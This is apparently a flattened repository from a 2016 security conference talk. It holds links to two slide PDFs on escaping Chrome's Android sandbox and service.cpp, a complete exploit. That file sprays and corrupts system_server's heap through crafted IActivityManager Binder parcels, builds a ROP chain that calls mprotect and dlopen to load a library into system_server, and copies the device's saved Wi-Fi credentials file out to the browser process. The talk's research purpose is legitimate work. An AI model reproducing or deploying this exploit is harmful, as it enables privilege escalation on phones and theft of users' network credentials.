├── A Way of Breaking Chrome’s Sandbox in Android.pdf ├── README.md ├── service.cpp └── 安卓Chrome沙箱逃逸的一种姿势.pdf /A Way of Breaking Chrome’s Sandbox in Android.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/secmob/mosec2016/daa013a4fd1346983e5387d2484be528519ae72d/A Way of Breaking Chrome’s Sandbox in Android.pdf -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # mosec2016 2 | -------------------------------------------------------------------------------- /service.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #define private public 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include "jni.h" 18 | 19 | 20 | using namespace android; 21 | static void log2js(const char *fmt,...); 22 | static bool in_system_server = false; 23 | #define HEAPSPRAY 0 24 | #define HEAPCORRUPT 1 25 | #define HEAPSPRAY2 2 26 | #define GC 3 27 | #define LOGE(...) __android_log_print(ANDROID_LOG_ERROR , "exploit", __VA_ARGS__);\ 28 | if(!in_system_server)log2js(__VA_ARGS__) 29 | //#define EXE 0 30 | #ifdef EXE 31 | #define dprint printf 32 | #else 33 | #define dprint LOGE 34 | #endif 35 | 36 | static int do_work(int port_number); 37 | static void writeParcelableHead(Parcel *pData,const char *class_name); 38 | /*status_t MotionEvent::writeToParcel(Parcel* parcel) const { 39 | * size_t pointerCount = mPointerProperties.size(); 40 | * size_t sampleCount = mSampleEventTimes.size(); 41 | * 42 | * parcel->writeInt32(pointerCount); 43 | * parcel->writeInt32(sampleCount); 44 | * 45 | * parcel->writeInt32(mDeviceId); 46 | * parcel->writeInt32(mSource); 47 | * parcel->writeInt32(mAction); 48 | * parcel->writeInt32(mFlags); 49 | * parcel->writeInt32(mEdgeFlags); 50 | * parcel->writeInt32(mMetaState); 51 | * parcel->writeInt32(mButtonState); 52 | * parcel->writeFloat(mXOffset); 53 | * parcel->writeFloat(mYOffset); 54 | * parcel->writeFloat(mXPrecision); 55 | * parcel->writeFloat(mYPrecision); 56 | * parcel->writeInt64(mDownTime); 57 | * 58 | * for (size_t i = 0; i < pointerCount; i++) { 59 | * const PointerProperties& properties = mPointerProperties.itemAt(i); 60 | * parcel->writeInt32(properties.id); 61 | * parcel->writeInt32(properties.toolType); 62 | * } 63 | * 64 | * const PointerCoords* pc = mSamplePointerCoords.array(); 65 | * for (size_t h = 0; h < sampleCount; h++) { 66 | * parcel->writeInt64(mSampleEventTimes.itemAt(h)); 67 | * for (size_t i = 0; i < pointerCount; i++) { 68 | * status_t status = (pc++)->writeToParcel(parcel); 69 | * if (status) { 70 | * return status; 71 | * } 72 | * } 73 | * } 74 | * return OK; 75 | * }*/ 76 | 77 | /*status_t PointerCoords::writeToParcel(Parcel* parcel) const { 78 | * parcel->writeInt64(bits); 79 | * 80 | * uint32_t count = BitSet64::count(bits); 81 | * for (uint32_t i = 0; i < count; i++) { 82 | * parcel->writeFloat(values[i]); 83 | * } 84 | * return OK; 85 | * } 86 | */ 87 | static const uint32_t g_fixedAddress = 0x9010100c; 88 | static void writeMotionEvent(Parcel *pData,int overwriteLen,int type){ 89 | /*3208 public void writeToParcel(Parcel out, int flags) { 90 | * 3209 out.writeInt(PARCEL_TOKEN_MOTION_EVENT); 91 | * 3210 nativeWriteToParcel(mNativePtr, out); 92 | * 3211 } 93 | */ 94 | pData->writeInt32(-1);// token MotionEvent createFromParcel 95 | size_t pointerCount = 1; 96 | size_t sampleCount = overwriteLen;//决定写的长度 97 | 98 | pData->writeInt32(pointerCount); 99 | //sizeof(PointerCoords) == 128 100 | if(type==HEAPSPRAY) 101 | //pData->writeInt32((0x1d97c000-16)/128);//allocate large memory in system_server 102 | pData->writeInt32((0x17000000-16)/128);//allocate large memory in system_server 103 | else 104 | pData->writeInt32(0x1ffffffe);//overflow 0x1ffffffe*8+16,分配的大小为8 105 | 106 | pData->writeInt32(1); 107 | pData->writeInt32(1); 108 | pData->writeInt32(1); 109 | pData->writeInt32(1); 110 | pData->writeInt32(1); 111 | pData->writeInt32(1); 112 | pData->writeInt32(1); 113 | pData->writeFloat(1.1); 114 | pData->writeFloat(1.1); 115 | pData->writeFloat(1.1); 116 | pData->writeFloat(1.1); 117 | pData->writeInt64(1); 118 | 119 | for (size_t i = 0; i < pointerCount; i++) { 120 | pData->writeInt32(1); 121 | pData->writeInt32(1); 122 | } 123 | 124 | //堆破坏时写相邻堆块的值,覆盖一个NativeKeyCharacterMap structure 125 | //uint64_t weakref_impl_point = (((uint64_t)(g_fixedAddress+0x18))<<32) + g_fixedAddress+0x18; 126 | uint64_t weakref_impl_point = (((uint64_t)(g_fixedAddress))<<32) + g_fixedAddress; 127 | for (size_t h = 0; h < sampleCount-1; h++) { 128 | //dprint("writing content is %llx\n",weakref_impl_point); 129 | pData->writeInt64(weakref_impl_point); 130 | for (size_t i = 0; i < pointerCount; i++) { 131 | //write PointerCorrds 132 | uint64_t bitsets = 0; 133 | uint32_t count = 0; 134 | if(type==HEAPSPRAY){ 135 | bitsets = 0x3fffffff; 136 | count = 30; 137 | } 138 | pData->writeInt64(bitsets); 139 | for (uint32_t i = 0; i < count; i++) { 140 | //在固定地址0x59500018写的值,构造一个weakref_impl 141 | /*(gdb) pt /m refs 142 | * type = class android::RefBase::weakref_impl : public android::RefBase::weakref_type { 143 | * public: 144 | * volatile int32_t mStrong; 145 | * volatile int32_t mWeak; 146 | * android::RefBase * const mBase; 147 | * volatile int32_t mFlags; 148 | *} * const 149 | */ 150 | //0x59500000处的内存layout 151 | //0000000: 01000000 80db4111 00000000 00000000 ......A......... 152 | //0000010: ffffff3f 00000000 00000000 01000000 ...?............ 153 | //0000020: 02000000 03000000 04000000 05000000 ................ 154 | //0000030: 06000000 07000000 08000000 09000000 ................ 155 | //0000040: 0d0a0000 000b0000 000c0000 000d0000 ................ 156 | //0x0-0xf为SharedBuffer头, 157 | //0x10-0x17 bitsets 158 | //0x18,+30*4 为写的浮点值 159 | if(i==0){//control refcount 160 | uint32_t mStrong = 1; 161 | pData->writeFloat(*(float*)&mStrong); 162 | }else if(i==2){//mBase address 0x59500000+0x20 163 | uint32_t mBase_address = g_fixedAddress+0x30+128;//128下一个PointCordinate 164 | pData->writeFloat(*(float*)&mBase_address); 165 | }else if(i==6){ 166 | uint32_t pvtable = g_fixedAddress+0x34+128; 167 | pData->writeFloat(*(float*)&pvtable); 168 | }else if(i==0xa){//onLastStrongRef in vtable 169 | uint32_t controlled_ip = 0xdeadbeaf; 170 | pData->writeFloat(*(float*)&controlled_ip); 171 | }else{ 172 | pData->writeFloat(*(float*)&i); 173 | } 174 | } 175 | } 176 | } 177 | 178 | //最后一个非法的BitSet提前结束拷贝 179 | if(type==HEAPCORRUPT){ 180 | pData->writeInt64(weakref_impl_point); 181 | pData->writeInt64(0xffffffffffffffffL);//BitSet全为1是非法的 182 | } 183 | } 184 | 185 | static void writeKeyCharacterMap(Parcel *pData){ 186 | //parcel->writeInt32(map->getDeviceId()); 187 | pData->writeInt32(0x12345678); 188 | pData->writeInt32(0); 189 | pData->writeInt32(0); 190 | } 191 | static void writeCursorWindow(Parcel *pData,int fd_ashmem){ 192 | //dest.writeInt(mStartPos); 193 | pData->writeInt32(12); 194 | pData->writeString8(String8("cursorname")); 195 | pData->writeDupFileDescriptor(fd_ashmem); 196 | //pData->writeFileDescriptor(fd_ashmem); 197 | } 198 | 199 | static void writePackageOps(Parcel *pData){ 200 | /*int buffer[0x5000]; 201 | for(int i=0;i<0x5000;i++) 202 | buffer[i]=rand()%0xcccccccc; 203 | pData->write(buffer,0x5000*4);*/ 204 | pData->writeString16(String16("a")); 205 | pData->writeInt32(1);//uid 206 | pData->writeInt32(0x80000); 207 | } 208 | 209 | //libandroid_runtime.so 210 | //r4会指向weakref_impl,r3指向vptr 211 | //0x00075cba : mov r7, r0 ; mov r0, r2 ; ldr r1, [sp, #0x30] ; add r2, sp, #0x14 ; ldr r4, [r3, #8] ; blx r4 212 | //0x0f 0x46 0x11 0x46 0x16 0x46 0x05 0x46 0x63 0x6d 0x98 0x47 213 | //0x00060708 : mov sp, r7 ; pop {r4, r5, r6, r7, pc}//0xbd 0x46 0xf0 0xbd这句会执行两次,第一次pc的位置已经被占有 214 | //0x000811ca : ldr lr, [sp], #4 ; add sp, #8 ; bx lr//assign value to lr, run two times 215 | //0x000819f0 : pop {r0, r1, r2, r3, r4, r7, pc} //0x9f 0xbd call system call 216 | static uint32_t libruntime_base = 0; 217 | static uint32_t mprotect_p = 0; 218 | static uint32_t dlopen_p = 0; 219 | static uint32_t dlsym_p = 0; 220 | static uint32_t shellcode_p = 0; 221 | static uint32_t shellcode_len = 0; 222 | static uint32_t so_p = 0; 223 | static uint32_t so_len = 0; 224 | static int pipefd[2]={0,0}; 225 | static ino_t pipe_ino = 0; 226 | static void writeGraphicBuffer(Parcel *pData,uint32_t len){ 227 | //in createFromParcel in java 228 | int fds=0; 229 | static uint32_t called_count =0; 230 | if(called_count==0) fds=1; 231 | for(int i=0;i<4;i++) pData->writeInt32(0x12345678); 232 | if(called_count==0) 233 | pData->writeInt32(4*(len+10));//len or 0xffffffff 234 | else 235 | pData->writeInt32(0xffffffff);//len or 0xffffffff 236 | pData->writeInt32(fds);//fd_count 237 | pData->writeInt32('GBFR');//magic 238 | for(int i=0;i<7;i++) 239 | pData->writeInt32(0xdeaddead); 240 | pData->writeInt32(fds);//numFds 241 | pData->writeInt32(len);//numInts 242 | 243 | //前64M为so内容 244 | if(called_count<4*1024&&called_count>0){ 245 | pData->write((void*)so_p,so_len); 246 | called_count++; 247 | return; 248 | } 249 | 250 | //写shellcode内容 251 | static uint32_t ropgadget1=libruntime_base+0x75cba+1; 252 | static uint32_t ropgadget2=libruntime_base+0x60708+1; 253 | static uint32_t ropgadget3=libruntime_base+0x811ca+1; 254 | static uint32_t ropgadget4=libruntime_base+0x819f0+1; 255 | 256 | uint32_t vptr[]={1,2,ropgadget2,ropgadget1}; 257 | //_vptr,mRefs 258 | uint32_t refBase[2]={g_fixedAddress+sizeof(refBase), g_fixedAddress+sizeof(vptr)+sizeof(refBase)}; 259 | //mStrong,mWeak,mBase,mFlags 260 | uint32_t weakref_impl[4]={1,1,g_fixedAddress,0}; 261 | uint32_t total_struct_size = sizeof(vptr)+sizeof(weakref_impl)+sizeof(refBase); 262 | uint32_t stack_base = g_fixedAddress+total_struct_size; 263 | vptr[1]=stack_base; 264 | //mprotect是arm指令 265 | //stack的最后4个字为shellcode地址,dlopen,dlsym,so 266 | uint32_t stack[]={4,5,6,7,ropgadget3,ropgadget3,0xdead,0xdead,ropgadget4,0xdead,0xdead 267 | ,g_fixedAddress&0xfffff000,0x1000,7,3,4,7,mprotect_p,0,1,2,3,4,7,0xfeed,dlopen_p,dlsym_p,0xffffffff,pipe_ino}; 268 | uint32_t n = sizeof(stack)/sizeof(stack[0]); 269 | //修改shellcode stub,设置参数 270 | *(int*)(shellcode_p+12)=stack_base+sizeof(stack)-16;//r0 buffer 271 | //设置要跳到的shellcode位置,指向数组[dlopen,dlsym]的指针 272 | stack[n-5]=stack_base+sizeof(stack);//执行shellcode 273 | //must be multiples of 4 274 | 275 | for(uint32_t i=0;iwrite(refBase,sizeof(refBase)); 278 | pData->write(vptr,sizeof(vptr)); 279 | pData->write(weakref_impl,sizeof(weakref_impl)); 280 | pData->write(stack,sizeof(stack)); 281 | i+=(total_struct_size+sizeof(stack))/4; 282 | pData->write((void*)shellcode_p,shellcode_len); 283 | i+=shellcode_len/4; 284 | }else{ 285 | pData->writeInt32(i%1024); 286 | i++; 287 | } 288 | } 289 | if(called_count==0) pData->writeDupFileDescriptor(pipefd[1]); 290 | called_count++; 291 | } 292 | 293 | static void writeParcelableHead(Parcel *pData,const char *class_name){ 294 | 295 | //write key 296 | static int count = 1; 297 | char buffer[16]={0}; 298 | snprintf(buffer,16,"%d",count); 299 | pData->writeString16(String16((const char *)buffer)); 300 | count ++; 301 | //wirte value 302 | //1267 writeInt(VAL_PARCELABLE); 303 | //1268 writeParcelable((Parcelable) v, 0); 304 | const int VAL_PARCELABLE = 4; 305 | pData->writeInt32(VAL_PARCELABLE); 306 | pData->writeString16(String16(class_name)); 307 | } 308 | 309 | static void writeBundle(Parcel *pData,int type){ 310 | size_t lengthPos = pData->dataPosition(); 311 | pData->writeInt32(0xfffff); 312 | const int BUNDLE_MAGIC = 0x4C444E42; 313 | pData->writeInt32(BUNDLE_MAGIC); 314 | size_t startPos = pData->dataPosition(); 315 | 316 | if(type==GC){ 317 | pData->writeInt32(1); 318 | writeParcelableHead(pData,"android.app.AppOpsManager$PackageOps"); 319 | writePackageOps(pData); 320 | }else if(type==HEAPCORRUPT||type==HEAPSPRAY){ 321 | int numKeyCharacterMap = 0; 322 | int numCursorWindow = 0; 323 | if(type==HEAPCORRUPT) 324 | numKeyCharacterMap=400; 325 | pData->writeInt32(numKeyCharacterMap+numCursorWindow*2+1);//from writeArrayMapInternal,object numbers in bundle 326 | /*int fd_ashmem = ashmem_create_region("xxxxxxxx", 0x10000000); 327 | dprint("fd is %d\n",fd_ashmem); 328 | for(int j=0;jwriteInt32(count); 342 | for(int i=0;idataPosition(); 351 | // Backpatch length 352 | pData->setDataPosition(lengthPos); 353 | int length = endPos - startPos; 354 | pData->writeInt32(length); 355 | pData->setDataPosition(endPos); 356 | } 357 | 358 | static void transact(sp &service,int type){ 359 | 360 | Parcel data, reply; 361 | data.writeInterfaceToken(String16("android.app.IActivityManager")); 362 | data.writeStrongBinder(service); 363 | data.writeInt32(333); 364 | writeBundle(&data,type); 365 | const int CONVERT_TO_TRANSLUCENT_TRANSACTION = 175; 366 | service->transact(CONVERT_TO_TRANSLUCENT_TRANSACTION, data, &reply); 367 | 368 | } 369 | static bool g_escalate_succ = false; 370 | static uint32_t write2jsbuffer = 0; 371 | #ifndef EXE 372 | static int tmain 373 | #else 374 | int main 375 | #endif 376 | (__attribute__((unused)) int argc, __attribute__((unused)) char* const argv[]) 377 | { 378 | void *handle = dlopen("libandroid_runtime.so",RTLD_NOW); 379 | libruntime_base = *(int*)((int)handle+140); 380 | dlclose(handle); 381 | mprotect_p = (uint32_t)dlsym((void*)0xffffffff,"mprotect"); 382 | dlopen_p = (uint32_t)dlsym((void*)0xffffffff,"dlopen"); 383 | dlsym_p = (uint32_t)dlsym((void*)0xffffffff,"dlsym"); 384 | dprint("%p,%x,%x,%x\n",handle,mprotect_p,dlopen_p,dlsym_p); 385 | #ifdef EXE 386 | libruntime_base = 0xb6ebc000; 387 | mprotect_p = 0xb6e16000 + 0x3a25c; 388 | #endif 389 | sp sm = defaultServiceManager(); 390 | sp service = sm->checkService(String16("activity")); 391 | if (service != NULL ) { 392 | dprint("begin spray\n"); 393 | for(int i=0;i<1024*12;i++)//喷256M(1024*16),前64M为so的内容 394 | transact(service,HEAPSPRAY2);//一次4000*4字节 395 | dprint("end spray\n"); 396 | for(int i=0;i<200;i++){ 397 | transact(service,HEAPCORRUPT); 398 | //transact(service,GC); 399 | if(read(pipefd[0],(void*)write2jsbuffer,1000)>0) break; 400 | //sleep(1); 401 | //dprint("time %d\n",i); 402 | //fflush(stdout);//编译成so时得注掉 403 | //if((i+1)%35==0) 404 | //transact(service,GC); 405 | } 406 | }else{ 407 | dprint("get activitymanger failed\n"); 408 | LOGE("fuck"); 409 | } 410 | //gc(); 411 | dprint("done\n"); 412 | return 0; 413 | } 414 | static int OSCopyFile(const char* source, int output) 415 | { 416 | int input; 417 | if ((input = open(source, O_RDONLY)) == -1) 418 | { 419 | dprint("open %s fail\n",source); 420 | return -1; 421 | } 422 | 423 | off_t bytesCopied = 0; 424 | struct stat fileinfo; 425 | fstat(input, &fileinfo); 426 | dprint("file size %lld",fileinfo.st_size); 427 | // int result = sendfile(output, input, &bytesCopied, fileinfo.st_size); 428 | int result = splice(input,NULL,output,NULL,fileinfo.st_size,0); 429 | if(result==-1) 430 | dprint("%s",strerror(errno)); 431 | dprint("send %d bytes to pipe",result); 432 | 433 | close(input); 434 | return result; 435 | } 436 | 437 | static void *escape_priviledge(void *args){ 438 | uint32_t *p = (uint32_t*)args; 439 | shellcode_p=p[0]; 440 | shellcode_len=p[1]; 441 | so_p = p[2]; 442 | so_len = p[3]; 443 | uint32_t array_buffer_address = so_p-0x1000; 444 | write2jsbuffer = array_buffer_address+128; 445 | dprint("shellcode is at %x,len is %d\n",shellcode_p,shellcode_len); 446 | dprint("so at %x,len is %d\n",so_p,so_len); 447 | //pipe is used to communicate chrome with system_server 448 | if(pipe2(pipefd,O_NONBLOCK)==-1)dprint("create pipe failed %s\n",strerror(errno)); 449 | struct stat sb; 450 | fstat(pipefd[1],&sb); 451 | pipe_ino = sb.st_ino; 452 | dprint("pipe inode is %ld\n",pipe_ino); 453 | tmain(1,NULL); 454 | dprint("escalate thread exit\n"); 455 | return NULL; 456 | } 457 | //FinalizerWatchdogDaemon 458 | static void disable_watchdog(){ 459 | JNIEnv* env = android::AndroidRuntime::getJNIEnv(); 460 | 461 | //void *env = dlsym((void*)0xffffffff,"_ZN7android14AndroidRuntime9getJNIEnvEv"); 462 | jclass clazz = env->FindClass("java/lang/Daemons$FinalizerDaemon"); 463 | //jmethodID methodId; 464 | jfieldID field = env->GetStaticFieldID(clazz,"INSTANCE","Ljava/lang/Daemons$FinalizerDaemon;"); 465 | jobject instance = env->GetStaticObjectField(clazz,field); 466 | jfieldID object = env->GetFieldID(clazz,"finalizingObject","Ljava/lang/Object;"); 467 | dprint("jni clazz %p,instance %p,object %p\n",clazz,instance,object); 468 | //env->CallVoidMethod(instance,stop); 469 | env->SetObjectField(instance,object, 0); 470 | // 471 | } 472 | 473 | #ifndef EXE 474 | extern "C" void so_main(uint32_t* buffer){ 475 | if(buffer[0]==0xffffffff){ 476 | in_system_server = true; 477 | dprint("in system_server so\n"); 478 | ino_t pipe_inode = (ino_t)buffer[1]; 479 | //find the pipe's fd 480 | struct stat sb; 481 | int fd = 0; 482 | for(fd=0;fd<2000;fd++){ 483 | int ret = fstat(fd,&sb); 484 | if( ret==0&&pipe_inode == sb.st_ino){ 485 | dprint("find pipe's fd is %d\n",fd); 486 | break; 487 | } 488 | } 489 | if(fd==2000)dprint("find pipe's fd fail\n"); 490 | //OSCopyFile("/data/misc/wifi/wpa_supplicant",fd); 491 | OSCopyFile("/data/misc/wifi/wpa_supplicant.conf",fd); 492 | //disable_watchdog(); 493 | sleep(15000); 494 | *(int*)0=0; 495 | }else{ 496 | //创建一个新线程来提权,这样chrome可以刷新 497 | dprint("in chrome process so\n"); 498 | pthread_t t; 499 | pthread_create(&t,NULL,escape_priviledge,buffer); 500 | } 501 | } 502 | 503 | #endif 504 | static void log2js(const char* fmt, ...) { 505 | va_list ap; 506 | //char buf[4096]={0}; 507 | va_start(ap, fmt); 508 | if(write2jsbuffer!=0){ 509 | int n=vsnprintf((char*)write2jsbuffer, 2000, fmt, ap); 510 | write2jsbuffer+=n; 511 | } 512 | va_end(ap); 513 | } 514 | -------------------------------------------------------------------------------- /安卓Chrome沙箱逃逸的一种姿势.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/secmob/mosec2016/daa013a4fd1346983e5387d2484be528519ae72d/安卓Chrome沙箱逃逸的一种姿势.pdf --------------------------------------------------------------------------------